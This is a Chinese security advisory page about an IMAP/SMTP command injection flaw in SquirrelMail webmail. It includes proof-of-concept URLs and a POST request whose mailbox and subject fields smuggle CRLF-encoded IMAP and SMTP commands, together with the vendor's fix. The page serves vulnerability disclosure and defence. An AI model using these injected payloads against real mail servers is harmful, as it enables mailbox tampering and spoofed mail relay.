| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
SquirrelMail IMAP/SMTP命令注入漏洞
SquirrelMail IMAP/SMTP命令注入漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 11:58:56

受影响系统:

SquirrelMail SquirrelMail <= 1.2.7
SquirrelMail SquirrelMail < 1.4.6
描述:
BUGTRAQ  ID: 16756
CVE(CAN) ID: CVE-2006-0195,CVE-2006-0377,CVE-2006-0188

SquirrelMail是一款流行的基于WEB的邮件服务程序。

SquirrelMail提供了通过IMAP和SMTP协议与邮件服务器交互的图形界面。在正常使用这些应用的时候,SquirrelMail没有正确的验证传输给邮件服务器的命令和信息,这允许恶意的认证用户在通讯过程中使用SquirrelMail Webmail前端的sqimap_mailbox_select命令参数向邮件服务器注入任意IMAP/SMTP命令。

<*来源:Vicente Aguilera Diaz (vaguilera@isecauditors.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114106555229158&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0
http:///src/read_body.php?mailbox=INBOX%22%0D%0%0D%0A%20SELECT%20%22INBOX&passed_id=&startMessage=1
http:///src/read_body.php?mailbox=INBOX%22%0D%0AZ900%20RENAME%20Trash%20Basura%0d%0aZ910%20SELECT%20%22INBOX&passed_id=22197&startMessage=1

创建特制POST请求:

POST http:///src/compose.php HTTP/1.1

...
-----------------------------84060780712450133071594948441
Content-Disposition: form-data; name="subject"

Proof of Concept
-----------------------------84060780712450133071594948441
...

回复不存在的邮件地址:

...
-----------------------------84060780712450133071594948441
Content-Disposition: form-data; name="subject"

Proof of Concept%0d%0a.%0d%0a%0d%0amail from:
hacker@domain.com%0d%0arcpt to:
victim@otherdomain.com%0d%0adata%0d%0aThis is a proof of concept of
the SMTP command injection in SquirrelMail%0d%0a.%0d%0a
-----------------------------84060780712450133071594948441
...

建议:
临时解决方法:

* 从$mailbox的sqimap_mailbox_select函数中替换/r和/n。

厂商补丁:

SquirrelMail
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.squirrelmail.org/security/issue/2006-02-15
【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Ipswitch IMail Server/
    ezContents多个SQL注入、
    PostgreSQL多字节字符编
    MvBlog脚本插入及SQL注入
    MKPortal跨站脚本及SQL注
    Invision Gallery album
    SQL查询语句精华使用简要
    sql通用防注入程序
    NetBEUI:NetBIOS 扩展用
    木马克星(iparmor) v5.4

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览